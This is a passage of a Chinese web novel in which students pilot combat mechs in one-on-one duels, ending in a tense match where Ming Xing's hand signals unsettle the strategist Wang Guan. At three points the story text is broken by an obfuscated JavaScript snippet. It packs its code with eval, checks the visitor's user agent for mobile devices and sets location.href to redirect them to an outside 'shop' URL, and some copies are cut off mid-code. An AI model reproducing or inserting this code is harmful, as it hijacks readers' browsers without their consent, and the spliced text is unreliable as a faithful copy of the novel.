“没事，放轻松，第一局只是找找感觉。”士阳安抚道，一边跟队友们招手，喊他们过来打气。 鸣星：“不了解就得随心所欲地打，打他个措手不及。” 海微遥：“会输，就随便打吧。” 边子奕：“要努力啊！” 萨鹿脸色越来越惨白，尤其是听到边子奕那句努力，两腿直发软。 英弦一声哨响，两人进入作战状态。 绞刑的唯一胜算就是从背后用关节技锁住对方。然而萨鹿刚左移半步，壮汉就跟着转了过来，不论她速度多快，转向多急，他始终保持着正面对她，像一面会动的墙。 她换了个战术，左侧正面进攻虚晃一枪，又从右侧绕后，然而壮汉甚至比她还快地转了过来，仍是正面对着。 “他怎么会……”萨鹿咬着牙再试两次，都以失败告终。 壮汉没急着出手，只是站在原地，双臂张开，像一只要扑食的熊，他的眼神穿过机甲的面罩，直直盯着她。 萨鹿的呼吸开始发颤。她想再试一次急停变向，可双脚像是灌了铅，动作慢了半拍，就是这一瞬间，壮汉动了。 抱杀没有绞刑快，但那压迫感犹如山崩，萨鹿本能地想向后撤，脑子里却突然冒出一个念头：来不及了。 她真的停下了脚步。 抱杀猛地合拢双臂，一记擒抱锁死她的上半身，让绞刑的关节技根本使不出来。萨鹿双脚悬空，像只被抓住后颈的猫，一下挣扎都没有。 “你根本不会打。”壮汉说道，不是嘲讽，只是陈述事实。 萨鹿闭上眼睛，不知是汗还是泪滑进衣领。她在即将被重重摔在地上时，发出了投降信号。 王冠队得一分。 士阳这边一片沉默。边子奕脸上难掩失望，见萨鹿垂着头走过来，不自主地拔高了声音：“第三次为什么放弃躲避？” “来不及了。” 边子奕有些着急，一把扯住她的手臂，“怎么会来不及，你速度比他快，那下用全力肯定可以避开……” “放开我。”萨鹿抬起头，眼角有一行泪痕。 边子奕吓了一跳，立刻松开她的手：“你怎么哭……” “因为我是努力都做不到的废物，输了还会哭。满意了吗？”萨鹿的声音甚至十分冷静，表情也冷漠至极，好似那眼泪不是她流的一般。 她静静地缩在角落，化成一尊雕塑。 士阳最怕争吵，心提到嗓子眼，在队友之间打量。 鸣星一句话都没说，手上比量着什么动作，应该是王冠的手势。士阳没打扰她，对边子奕说道：“他们那个白嘴唇选的长鞭，能克制的是斩首，不知道你会不会？” “格斗家系列的我都会。” 不愧是卷中卷王！士阳终于看到了一丝希望，却听他又道：“我要选抱杀。” “抱杀，是被长鞭克制的吧？”士阳回头看那克制关系图，“我记错了吗？” “你没记错，我就是要选抱杀。” “和我赌什么气。”装隐形人的萨鹿也破功了，小声道：“想要证明你那套努力理论就先赢给我看啊。” “我会赢，而且你可以借此好好了解下抱杀，下次一定不要放弃啊。”边子奕认真地说。 “……哪有什么下次。”萨鹿嘟囔着，目光却锁在他的身上。 对面长鞭已经做好准备动作，边子奕看他两眼，转头对英弦说道：“长官，我可以打两个吗？” 23. 抱杀1v2 士阳一人计两分，王冠组一局上两人也合理，英弦对王冠说：“再上一个。” 王冠沉思片刻，搭住瘦子的肩膀，在他耳边说了句什么，瘦子点点头，选了绞刑，快步上场。 白嘴唇一愣，见王冠比了个“诱敌”的手势。 长鞭克抱杀，抱杀克绞刑，这是让瘦子当诱饵，胜算让给他。 边子奕是班里第一名，虽然听说他差点用机甲捅伤自己，但绝对是这里最危险的敌人。 白嘴唇深吸一口气，长鞭在身侧甩了个响。队友必然到来的牺牲压在他身上，他这局必须赢。 哨响—— 王冠右手劈下，“直攻”。 白嘴唇右手一抖，长鞭直咬边子奕左膝。鞭梢还在半空，他左手就已经往边子奕的退路蓄力。长鞭打近战，先废移动，对方一定会躲闪—— 边子奕却在原地稳稳不动，就这么被缠住了小腿。 为什么不躲？白嘴唇顾不得思考，下意识回拉，这一下能把人拽得横飞出去，但边子奕重心下扎，身子后仰，竟顺着收力的方向冲了过来。 白嘴唇一愣，他发力拽，对方没倒，反而更快地逼近。这样，长鞭的克制优势就全没了！ 王冠手势急转，变为“收鞭变抽”。白嘴唇瞥见了，但来不及。他收手时，边子奕已经冲进六米内，长鞭的压制距离短了一半。 另一边，瘦子瞄到王冠的手势：左手往下一切，“左侧切入，打腿” 边子奕正朝白嘴唇猛冲，左后方是视野盲区。瘦子重心压到极致，像一道影子贴地绕了过去，瞄准他的小腿。 抱杀的手部很强，然而腿被打断后，有手也没用。王冠一开始就告诉他了战术，先废腿！ 白嘴唇的劣势反而给了他机会，现在负责拿下抱杀的，是他！瘦子一直是诱饵位，此时即将立下如此大功，心里一阵激动。他盯着边子奕的落脚点，计算着绕后的路线，六米、四米、两米—— 边子奕猝不及防地一个急停。 一步，就多一步。 瘦子瞬间冲过了头，他本应绕到背后，现在却直接撞到了边子奕的侧面。 边子奕也是一愣，似乎没想到对方的重心这么低。 他果然没想到保护腿，这招本该有用的！瘦子不甘至极。然而这个距离再没有逃脱的余地，下一秒，抱杀双臂合拢，捕兽夹一样夹下来，箍住他全身。 王冠眼露凶光，手势比得气势磅礴—— 不要投降！继续诱饵！ 瘦子的机甲被挤压得嘎吱作响，听得他心颤。他本能地想投降，但王冠的眼神让他咬紧牙关，安慰自己，再挺最后几秒就好。 他看到了，白嘴唇的鞭子已经抽向敌人的头部，胜负就在现在！ “蠢货，”抽腿！王冠的怒骂和手势同时炸开，但白嘴唇哪腾得出精神去看，他的鞭子已经抽出去了。 边子奕头都没回，只是微微低头，长鞭擦着他的头顶掠过，抽了个空。 下一秒，瘦子被高高举起，长鞭回收时唰地卷住了他的脖颈，边子奕松开双手，瘦子就这么被扯了过去。 白嘴唇已经来不及松力，瘦子砰的一声砸在他身上，两人轰然倒地，嗡鸣声尖锐地响起，机甲都裂开几条缝隙。 英弦的哨声刺穿全场。 鸣星队，得两分。 王冠最后的手势僵在半空，半晌，缓缓落下。 瘦子诱敌那时是胜负手，如果白嘴唇从背部击中边子奕的腿部，他必定被废掉行动能力，可是，没有如果。 现场一片死寂，裴发浑身发抖，生怕边子奕借着这股气势，当场和他们叫嚣，让你们抛弃我，看看你们失去了什么！ 但边子奕一点目光都没往这边投，他从抱杀里跳出来，走到萨鹿身边，说道：“怎么低着头，你看了吗？” “……我看了。”萨鹿声音闷闷的，“你为什么能在被长鞭缠住时不倒下。” 如果是她，第一下没躲开，就直接输了。 “不是有口诀吗，遇远程须诱敌，遇控场稳重心，被牵制顺势卸力。” “那是什么？” 边子奕惊讶道：“1v1对决必背宝典一百条，这么经典的公式你没背过？” 不知道他这是从什么教辅上看来的，萨鹿对此完全没印象，“你又为什么能停在让人正好撞上来的位置？” “后方有人五秒一停，这不也是套路吗？我的战术就是套路。常见套路都背熟，看情况随便找一套用就行。” “他克你。”一直沉默的海微遥忽然开口。 他没指名道姓，但鸣星知道他说的是王冠。 王冠手势不好猜，但那两人的表现很明显。王冠的指挥很强大，一手控制一个，跟随边子奕的反应迅速做出改变，如果换两个操作跟得上的，说不定会赢。 边子奕不知道要怎么回这话，索性没理，继续问萨鹿：“你知道要怎么打抱杀了吗？” “我知道了。”萨鹿低声道：“要背公式。” “不，是要多多练习，把公式变成本能反应。” 鸣星闻言，若有所思，瞟了英弦一眼。 即使赢了两分，小队成员还是各说各话，没有一点团结，也就只有士阳说点场面话，“我们已经赢两分了，接下来的两场继续加油啊！” 对面的托兰已经上场，海微遥也站起身来，轻轻扭动僵硬的关节，咔嗒作响。 鸣星问道：“你要选什么？” 托兰抽出先手，选了斩首。海微遥沉思片刻，低声道：“……长鞭。” 斩首克长鞭。士阳却松了口气，海微遥可是能进银龙班的学生，他特意选了一个被克制的，只能是因为对自己的实力太有信心了。 他的强大，大家在考场上有目共睹，士阳心中暗暗想道，这把稳了。 鸣星又问：“战术是？” “随机应变。” 哨声响起，两人应声而动。 海微遥的长鞭在空中画着圈打出去，形成环形防守。托兰躲闪过几记攻击，远远地观察。 斩首克长鞭，是靠速度。摸清敌方的攻击模式后，瞄准目标，硬挨一两鞭直冲进去，瞬间出刀，取下首级。 取胜的关键，在于是否能尽快看懂敌方套路，否则摸不进里圈，也没法施展必杀技。 然而，托兰的目光却几乎不在敌人身上停留，反而频频斜瞟王冠——思考的工作全部交给了王冠，他只是王冠的代打而已。 王冠手势一变，他立刻更换打法，开始尝试突进。 萨鹿问道：“这是什么意思？” 鸣星：“在试探还有什么套路。” 萨鹿：“套路被摸清怎么办？” 边子奕插话道：“被摸清就换一个。” 然而，托兰这边变了招数，海微遥还是环形防守，发力位置都没动一下。萨鹿还以为是自己眼力不好没看出变化，直到边子奕咦了一声，问：“他怎么换都不换？” 萨鹿：“他只会用这招？” “他只想用这招。”鸣星说道：“就这一招，托兰都打不破。” 海微遥的鞭子轨迹就像一张密不透风的大网，几乎覆盖了所有的死角。士阳感慨道：“长鞭用到极致就是这样吧……我以为他是近战类的，没想到这种控场机甲也用的这么好。” 边子奕皱起眉，他有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497793|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不懂了：“但这还是近战的思路啊，只是防守，也没打乱对方的节奏——” 海微遥的鞭梢忽然加速，直奔托兰面门！ 托兰侧身避开，鞭子擦着他耳朵过去，抽在地面上，竟打出一道细纹。 托兰手心冷汗直冒，这招如果砸到脸上，他直接就败了。哪有人会把鞭子甩得这么快的同时，还能用出这么大力气—— 不，本该去银龙班的人，可以。 他瞬间意识到，他和海微遥的巨大差距。 他一定会输！ 然而，余光之中，王冠那一道只有他懂的复杂手势里，清清楚楚地写着五个字： “你一定会赢” 托兰猛地攥紧拳头，将汗水拧出掌心。在自己的本能和王冠的判断中，他坚信后者。 王冠的下一个指示是，“自杀式攻击，上” 没有方位，没有动作，什么都不指明，甚至残忍地说了自杀式三字。 王冠也没摸清敌方的招式么？还是这个招式根本无法突破？托兰脑中飞快地飘过这个念头，但他不允许自己多思考一秒，他是王冠的死士、执行者，一直都是，所以他们才能配合打出那么多胜仗。 他从没有自己的思想。 包括现在。 对着那可以轻易将机甲劈裂的强攻，托兰毫不犹豫地向前猛冲！ 数十道鞭风从他的耳侧呼啸而过，重重击打地面。 不知怎么回事，海微遥竟一击都没有敲中他，他好像运气爆棚的电影主角，穿过那密不透风的防守网，毫发无损地冲到了里圈。 为什么？不，他不必去想，他只需要继续战斗。 海微遥终于换了招式，他不再用鞭子，而是用近身格斗的技巧与他对抗。 近战是斩首的优势局，然而几招下来，托兰近乎绝望，他一招打过去，对方三招打过来，速度快的惊人，招式复杂多变，他连看都看不清，更别说反击…… 他根本打不过他。 “必杀技，斩首” 然而，王冠的手势这样说。 “……速度好快。”台下，士阳声音颤抖，“我什么都看不清。” 是她的错觉么，海微遥好像……比考试时进化了？ 想到考试，她下意识看向鸣星。 鸣星此刻竟也愣住了，嘴巴微张，直直地盯着海微遥，眼里除他之外，什么也容不下。 那速度之快、招式之狠、发力之精准、常人难以企及，甚至无法看清的动作…… 却怎么会如此清晰？ 鸣星眼都不肯眨一下，生怕错过了哪个动作。她看的很清楚，不如说，太清楚了，清楚到她能看清他的发力位置，看清慢动作一般的拆招，看清海微遥的意图，看清他的…… 下一个动作。 那些不是罕见的招数，反而都是格斗家的基础动作，只是海微遥做的太快，让人把三招看成一招，以为是什么新鲜东西。 而当她在脑中一个个回想那些动作时，忽然意识到，这是英弦特训时与她练的那些招。 训练时她麻木地战斗，不经任何思考。然而，在那地狱一般的一次又一次的重复中，那些动作已经刻进她的本能，刻进她的血脉。 她掌握了，于是，她看得清。 托兰完全处于劣势，但他却在这个就要被对方拆掉头部的时机，不去防守，反而高举斩首刀刃，作势斩掉对方首级！ 托兰这不是必死无疑吗？鸣星看得清楚，就算斩首很快，可海微遥的拳头已经抵到了他的脖颈，他为什么—— 叮。 长鞭头顶亮起投降的白灯。 哨响，王冠队得一分。 24. 斩首vs长鞭 跳下机甲时，托兰的腿几乎是飘的，王冠抬手扶住了他，说道：“你做的很好。” 托兰的眼神有些许迷茫，“为什么说我一定会赢？” “因为他不想打。” “他的动作，有这种意图吗？” “看平时成绩罢了。”王冠翘起嘴角，“推断意图可不止靠动作，场外信息也很重要。” 托兰一怔，想起自己如何从那密不透风的鞭网里轻松冲进去，以及他自以为死定了的时候，敌人突然的投降。 “……他故意放我进去的？” “他控制力那么强，防住你轻轻松松，放过你不也一样。” 托兰还是不明白海微遥为什么要输，但他更在意的是，“如果，他最后，想赢呢。” “那就丢一分。但事实证明我的战术是正确的，他完全在按照我的预测行动。” 托兰静静地看着王冠那得意的表情。王冠只计算胜利的概率，至于他被疯狂的鞭子击中后会如何，这不在王冠的考虑范围内。 他知道的。 海微遥跳出机甲时，汗都没出。他在队友各异的目光中回到队伍，默默地站到最后，一句解释都没有，仿若刚才无事发生。 他这种隔绝社交的气场让士阳闭上了嘴。边子奕则不管那么多，直接问道：“你怎么投降了？” “斩首快要碰到我。”海微遥小声回答。 边子奕点点头，最后那几招太快，他也看不清，不过按理来说，高速的斩首一旦进到内圈，就是长鞭的死期。虽然他总觉得海微遥的能力不止这些，但这话确实无法反驳。 鸣星瞥了海微遥一眼。 海微遥全面碾压托兰，他不仅能躲得过那一击，还能原地抽裂托兰。 “好玩吗？”鸣星问道。 “就那样。”海微遥恹恹地回答。 “你说托兰还是王冠？” “两个都是。” 两人说话的语气倒是平淡，士阳在一边听着却嘴角直抽搐，她很想说，既然你觉得王冠也就那样，要不你来打王冠？ 不过她还是忍住了，只是问道：“你觉得，怎么能克制王冠？” 这回海微遥认真沉思了一会，说道：“出其不意……吧。” 王冠抽到了后手选择。不过他转过来看他们一眼，率先钻进长鞭里面，微笑道：“让你们一手。” 斩首克制长鞭，然而士阳没怎么开过。见鸣星已经在打量斩首，士阳颤声道：“斩首这么厉害，我开不好……” “斩首不厉害。”海微遥说道。 士阳：“……投降的那个先安静一下。” 王冠见他们这边做不下决定，脸上笑容越发热烈，“不会开？没事，我给你三分钟熟悉时间。”他轻佻的眼神挑到士阳脸上去，“应该够了吧，那位代打？” 士阳一时气血上涌，不待鸣星说话，先抬手搭住斩首，“没什么不会的。” 话一出口，她就后悔了。 王冠可不给她反悔的时间，呵呵一笑，关上了机甲舱门，“期待你们的表演。” 同学的目光齐刷刷看过来，士阳又开始抑制不住地手抖，小声道：“星星，怎么办？” 鸣星安抚道：“不用紧张，反正我们肯定是倒数第一。他打赢倒数第一也没什么可骄傲的。” 士阳：“……” “海微遥不是说了吗，出其不意！你现在不会的状态最能出其不意了。”鸣星朝她一笑，“再说，还有我给你提醒呢。” “我要严格按照你的来吗？”士阳紧张道，她刚才见托兰就是全程盯着王冠的手势来的。 “当然不。”鸣星手腕一转，手指指向地面，“这是你的战斗。我只是辅助，你的感觉最重要。” “……嗯。”士阳重重地点头。 她登上陌生的斩首，心里默默重复着，这是我的战斗。 不管海微遥说的有多轻松，不管鸣星有多厉害，现在站在战场上的，是她。 斩首唰的举起了刀，刀背微微一转，映出长鞭的身影。 哨响，士阳猛地向前冲去，几乎凌空！ 既然常规技巧是试探，那她就先冲。冲他个出其不意—— 鞭子从她眼前倏地落下，击打在她即将落地之处。 在她脚步落下之前。 士阳惊恐地后闪，步子一下子乱了，差点被自己绊倒。 她急忙稳住脚步，侧身从另一边切入，然而没跑出多远，下一鞭落下，再次打乱她的节奏。 接连十几招，士阳没能前进一寸。王冠的鞭梢一直点在她下一步要踩的位置。 慌乱之间，她下意识向鸣星看去，却见鸣星也是一脸凝重，两手攥拳端在胸口。 怎么会，鸣星也没有任何办法吗！士阳心里大乱。一道鞭子从面前空甩而过，将她的视野切成两半。 “三分钟到了。”王冠的声音如魔鬼一般带着嘲弄的笑意，“我差不多也要出手了。” 说罢，一鞭子抽中她的锁骨。 王冠的力度不算强，甚至比一般水平小一些，大约□□下才能将她的胸甲抽裂。问题是，她恐怕一鞭都躲不过。 啪啪啪—— 鞭子雨点般袭来，瞬间封锁住了士阳能想到的所有出路！ 她就站在这空旷的场地，却仿若被关进牢笼，无路可走。 鸣星的拳头忽然原地翻转了下，好像只是扭了扭僵硬的手腕。 翻滚。 士阳眼前一亮。对，翻滚！之前太过慌乱，只想着找一个不被封锁的方向，却忘了这封锁又不是通天的铁栏杆，明明这么大的空间，天高任鸟飞。 下一鞭落在脚下时，她没再闪避，反而顺势前扑，一个翻滚，朝王冠的方向滚出好远—— 腿却一紧。 她不知什么时候被缠住了腿，长鞭在腿上绕了好几圈。王冠手一抬，鞭子倏地全部抖开，她就这么被迫翻滚着，回到了一开始的位置。 他在玩她。 鸣星的手快速变换，做出了许多手势，士阳紧盯着看，却冷汗直冒，她看不懂……她看不懂！ 王冠哼了一声，鞭子在地上甩出几个泄愤般的响。他也一直看着鸣星，恐怕反而看懂了大半，毕竟他知道自己动作的解法，对着答案找解释总是更容易。 他转回目光，隔着视窗，冰冷的视线直击士阳。 “你们配合得真差，”他说，“有点无聊了。” 长鞭抽得飞快，在士阳手忙脚乱、毫无作用的躲闪中，接连击中她三四下，这样下去不过十几秒她就要败了！ 士阳耳边嗡嗡的响，她节奏大乱，根本想不到任何有效的招数。她距离他那么远，连边都碰不到，而他却一步不动，只靠甩甩手腕就将她溜的团团转，玩弄于鼓掌之中…… “薅他的头发” 余光里，她瞥见鸣星摆出了这个手势。 王冠眉头微微一皱。 他没读懂这个手势的含义，正要再看，面前却寒光一闪，一道锋利的刀光朝着自己径直劈来，如闪电般硬劈开重重鞭影，气势如虹！ 他吓出一身冷汗，本能地向后躲闪。不可能，士阳在五米开外的位置，怎么可能砍到他的—— 她还在那里。 王冠定睛看得清楚，士阳还在他鞭子控制圈外，但刚才那一招却分明是从面前直击而来，几乎要刺穿他额头的，斩首必杀技。 为什么。 站在绝对碰不到他的位置，精准地对着他施展出必杀技的…… 意图，是什么。 王冠心脏狂跳，鞭柄微微颤抖，士阳开始前进，尝试突破外圈，他还在封锁她的出路，却有几下点在别处，不小心让她近了好几米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不，旁观者永远看不懂，一定有某种感受被她遗漏了。她得像上次成为英弦那样，首先成为士阳。 ——如果她是士阳，这招她会如何应对？ 鸣星屏住呼吸，空气忽然变得安静，万事万物向四周飞速驶去，空白的世界里只剩下王冠，和王冠的对手、她。 鞭声响在她的右手旁。 他从右边袭击，左肩露出破绽。她自然向左侧躲过，鞭梢从耳侧擦去。趁他右手出招空档，她滑步切回右侧，抬手直取咽喉。他后仰躲闪，双手自然抬起，与她攻击的方向一致—— 紧接着，她被击中了。 那鞭子不是甩过来的，而是，她自己撞上去的！ 视野猛地拉远、收回，真空随之退散，周遭的声响如潮水般涌上。 最后那下不止士阳没有想到，她也想不到。 现在，王冠已经彻底找回节奏，即将破掉士阳的胸甲。刚才的混乱持续了整整二十秒，士阳败势尽显。 鸣星放下了手。 二十秒，足够她找出问题所在了。 鞭子不为封锁敌人的去路，而是，将敌人引向绝路。第一招封锁的方位，是在为第二步铺路，第二步的铺路，是为了最后的绝杀。 一共三步，都在他的定势里。 她的大脑比他的动作更先0.1秒，他的大脑，则比她的大脑更先三步。 此战必败。 毕竟除了那意外的一下，她还没有一次走出过他的棋局—— 鸣星对上了王冠的目光。他在看自己，看她还能做出怎样的指示。 ……不，或许，还可以再来一次。 她嘴角微微翘起来，手臂重新抬起，摆在他们都能看到的显眼位置。右手作小人走路状，在空中拨弄两下，然后，比了个“三”。 “他猜得出你未来三步” 士阳脑中嗡的一声闪过这句话，紧接着是铺天盖地的恐惧。怎么会？如果步步踏入敌人的预测，岂不是根本破不了局！ 然而鸣星手指忽然一转，指向地面。 这是你的战斗。 不知为何，士阳听到了她在对她说的话。 ——现在，这是你的优势局。 25. 斩首-必杀技 士阳向前迈了一步，王冠的鞭子如期而至，却砸在她落脚点三厘米以外的地方。 鞭梢竟在颤抖。 士阳一怔，只见王冠慌乱收鞭，迟迟没有打出下一击。 他的恐惧不比她少半分，隔着机甲都看得出他的僵硬，要不是脸被挡住，一定能看到那张漂亮的脸露出最为惶恐的表情。 士阳一口闷气呼了出去，那块压着她不得翻身的重石飞走了，她不在他的囚笼里，反而，他在自己的囚笼里。 鸣星，你早就激出他的破绽了，那就是他控制不了的情绪。 鸣星又一次比出了那个意味不明的手势，王冠猛地收神，紧盯着士阳的举动。他猜不出手势的含义，但他看得出意图！只要意图清晰，未来的三步就清晰可见，敌人就必然落入他的控制之中—— 士阳朝他攻击了。 顶着极速劈来的刀刃，他毫无退缩，必须先看懂这一招。目标是头？是眼睛？还是脖子？ 刀锋即将触及的最后一瞬，王冠才侧身闪避，却见士阳轻飘飘地收势，刀锋落点的位置不在他预判的任何一个部位。他脑中掀起轩然大波，不是。都不是！ 难道，是想绕后？ 王冠飞快计算着。根据他的经验来看，刚才那一招直击额头的概率最大，其次是表面直攻实则绕后，期望从他闪避的惯性方向反撩上来。 鸣星又比了那个手势。 王冠冷汗流到脸颊，却微微勾起嘴角，没关系，他已经将范围缩窄到两种可能，再来一次，他就彻底清楚了。 他没有防守，所有弱点暴露在外，任君挑选。 士阳刀锋冲向肩头，从下往上挑，仿佛要刺穿他的下颚。不是直攻额头…… 刀锋继续挑去，没有任何变招。她也没有绕后！ 还能是什么？ 鸣星仍是那个手势，士阳下一击已到。第二刀从上往下，似要劈开头颅；第三刀从左往右，像是切割耳朵；第四刀从前往后，绕了个弧线，似要切他脑后。 每一刀都奔着他的头来，但落点处处不同，像有一个看不见的靶心悬在他脑袋周围，飘忽不定。她每一刀都在追那个靶心，追到了就是一击毙命——可那个靶心在动，在他躲闪的间隙里游移，于是她的刀也跟着游移。 他避得开，却猜不中。 意图、到底、是什么！ 王冠听到自己剧烈的心跳声，砰咚、砰咚、随着那一击击的节奏越出胸腔。他的心跳声是士阳的节奏，而不是他的。 此时此刻，他没能控制局面。 意识到这一点，王冠脚步更乱几分。 他全神贯注地看向鸣星的双手。必须搞清楚这个指示的含义，如果看不懂士阳的动作，就直接看手势猜。他已经看过鸣星所有能找到的信息，一定猜得出她在想什么—— “你在看谁？” 声音仿佛贴着他后脑传出，凉飕飕钻进脑子里。 面前空无一人，士阳在那个绝对不是绕后的指示下绕到了他的后侧。那时世界骤然安静下来，只有刀刃划开空气的嘶嘶声，从后往前，响彻天灵盖。 王冠像是被鬼搭了肩膀一般，一股凉气从头窜到脊梁骨，本能让他拧了下头。 铮铮铮铮铮—— 铁器摩擦声刺耳，锋利的刀刃擦着他的耳边刺去，裂开一道浅但笔直的口子，从后擦到前。 这一击再偏一厘米，他的脑袋就会被捅个对穿。 死亡临头的恐惧笼罩了他，王冠脑子一片空白，什么都没想，身体自己动了起来，鼠窜一般，瞬间冲到了他能到达的最远的地方，鞭子毫无章法地甩出，铺天盖地。 他之前已经击中士阳太多下，她的胸甲早就裂开缝隙，再被甩到一鞭就裂到危险的境地。对决很快结束了，英弦的哨吹响后三秒，他才堪堪停下手。 王冠队得一分。 他赢了。 两人却都没有从机甲里跳出来，他们被困在刚刚一瞬的感觉里，无法离开。 她从他鞭峰的牢笼中越出，刀尖几乎碰到了他的脑袋。 他在差点被她贯穿的阴影下，怎么都算不出未来三步。 他差点就败了。 …… 王冠跳下机甲，脚步虚浮，所有声音都离他很远，视野变得模糊。他转过头，在重重的人影中，只有那个人是清晰的，她举起带着黑手套的右手，手指轻轻抬起，对他比了一个耶。 王冠眼皮抽动了下。 英弦将总分打在屏幕，王冠队11分，全班最高。鸣星队2分，全班最低。 王冠本来准备要嘲笑他们的，但他现在毫无心情，甚至精神恍惚。 托兰叫了他好几声，他才回过神来。他身边围了好多人，是排名前三的组，他们作为这次对决的“胜者”，自然而然地聚在一起，讨论刚才的战斗。 “王冠一次都没输过，真是厉害。”裴发感慨道。 他们组排第三，只多第四一分，他们小组五人成绩差不多，都在班级中流，又没有强者带队，多亏了沈静的策略，挑别人刚打输的队伍打，才能保住第三名。 裴发见王冠冷冷地瞥他一眼，不知自己刚才那捧着的话哪里说错，只好找个更为安全的话题，“最后一名那个鸣星，考场上可厉害了，也不知为什么现在又开不了机甲了？你们有看网上猜测吗，说她是作……” “不可能。” 王冠几乎咬牙切齿地打断。 如果作弊的人都能靠几个手势差点斩断他的头，他还不如直接去死！ 裴发一愣，这是什么意思？王冠之前还主动挑衅的鸣星，怎么又为她说话了？ “她有被挑战的价值。”王冠一字一顿地说道：“我会打得她不能翻身。” 裴发心下了然，他没站错队，和鸣星队划清界限果然是明智的选择。 英弦再次吹哨，学生们重新排好队列。 “我已经了解了你们的水平，三天内会发训练清单。所有人对自己的薄弱点进行针对性练习，两周后团队作战——前三名的队伍可以得到B级的任务资格。” B级任务资格难抢，完成任务能得到上万积分的奖励，排名至少提升十位，项目还能挂在简历里。 学生们精神一振。尤其是输掉的，更是摩拳擦掌，重打精神。 后四个组被英弦叫过去登记，他们要在下午做大量练习作为惩罚。接下来是午饭时间，学生们陆续走出训练室，裴发叫托兰他们一起去吃饭，托兰挥挥手，指着沉默不语的王冠。 王冠坐在几架机甲之间，低着头，似在沉思。 鸣星队作为倒数第一，最后登记完毕，他们往出走时，教室已经没什么人了。 王冠猛然起身，大步走上前，在门口走廊堵住他们。 那个快要把他逼疯的问题，脱口而出。 “到底是什么意思？” 鸣星轻轻一挑眉：“我列个表发你？” “……”王冠从后槽牙挤出几个字来，“我会想出来的。” 鸣星一耸肩，从他身侧走掉。两人擦肩而过时，她忽然在他耳后打了个响指。 王冠全身汗毛直立，这种感觉似曾相识！ 他猛然转身，却见她手里捏着一根灰金色的头发。 “明白了吗？” 鸣星微笑着松开手。 王冠脚步钉在原地，视线随着那发丝一起飘忽，如浮萍一般缓缓下落。 咔哒。咔哒。 士阳的脚步声踏在他的身侧。她一言未发地走过，目光扫过他的脸，落在他脑后的位置。 发丝悄无声息地轻轻坠地，却宛如一道惊雷炸响。 他知道士阳瞄准的靶子是什么了。 机甲根本不存在的，头发。 …… 有人从身后搭住他的肩膀，王冠全身发毛，下意识转身，一巴掌拍开了那只手。 托兰微微发愣，手悬在半空，问道：“王冠，你怎么了？” “……没怎么。” “你看起来很……” “我说没怎么。” “很害怕。” “……” 王冠脸色阴沉。以他的个子不得不仰视托兰，然而他却没抬头，只是眼珠翻上去，浑身透着暴戾。 “烦不烦啊。你知道差点被杀死的感觉吗？” 话一出口，王冠自己也顿了下。 托兰当然知道。他之前迎着能把机甲抽碎的鞭子往上冲，一直都在体会那种感觉。 托兰表情却没什么变化，只是沉默地看着他。 王冠头疼地揉了揉眉心，拍了下托兰的肩膀，说道：“……抱歉阿兰。吃饭去吧，我请你们。” …… “星星，你一开始怎么想出那招的？” 去食堂的路上，士阳问道。隔空放大招，还能把人吓到节奏混乱，这种战术她怎么都想不出来。 “这个嘛……”鸣星握住右手手腕，目光落在关节上，中指指尖忽地一颤。 那时，她没能控制好她的机械手。 指令失语后，她的机械手开始间歇性失控。她索性换了脑机接口，反正已经控制不好，起码还能减少延迟。 幸好她对机械手太过适应，精神稳定性居然没有受到太多影响，除了偶尔做复杂动作时会觉得头疼，目前也做不了过于精细的操作。 适应就好了。她对自己说，总是要适应的。 要适应重新学习机甲指令，适应脑机接口带来的信息洪流，适应……暂时没法开机甲的感觉。 一切都会好起来。 鸣星轻描淡写地把目光转向远方，说道：“出其不意就是这样。” 边子奕感慨道：“我还以为海微遥是瞎说的呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497795|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 海微遥默默走在最后，听到自己的名字，步伐飘了几分，俨然想要逃离队伍。 最后一名算是预料当中的名次，再加上受罚的队伍多，几人心情倒还好。只有萨鹿脸色苍白，她刚看了下排名，士阳、边子奕上升了三名，海微遥没变。她下降了一名，成了倒数第一。 而鸣星升到了倒数第二。 ……虽然，没什么差别就是了。 前面一阵吵吵闹闹，他们都抬头看去。前面两人并肩走着，左边是沈静，右边是一个瘦高个男生，那男生语速又快又密，叽叽喳喳地说个不停。 “他们队三个人都很厉害啊，边子奕，班级第一。海微遥，能去银龙班的。士阳，射击英弦，你们没邀过来的人，幸好她没来，要不我也加入不了你们。他们这么强还被压成倒一，不完全是被王冠盯上的缘故么！一一对决都这样，团战时不知道要被怎么搞呢。” “是这样。” “王冠队里那三个菜鸡，排名本来也不好，现在被王冠一人带的鸡犬升天，要排名有排名，要积分有积分。他真是厉害，对决那么猛，我今天也是开眼界了……” “嗯。” “鸣星现在被王冠盯得紧，我都不敢和她说话了。其实我对她还挺好奇的，静静，你说，她到底是怎么回事？裴哥说她肯定是作弊的，王冠还否了，我觉得这事吧……” 沈静推了下眼镜，说道：“小点声，小喇叭。” “哦。”小喇叭压低了声音，“我觉得五五开。” “为什么呢？” 一个陌生的声音在身后问道。小喇叭回头看去，鸣星正看着他。 他吓得原地跳起来，嘴巴闭得紧紧的，再不敢出声。 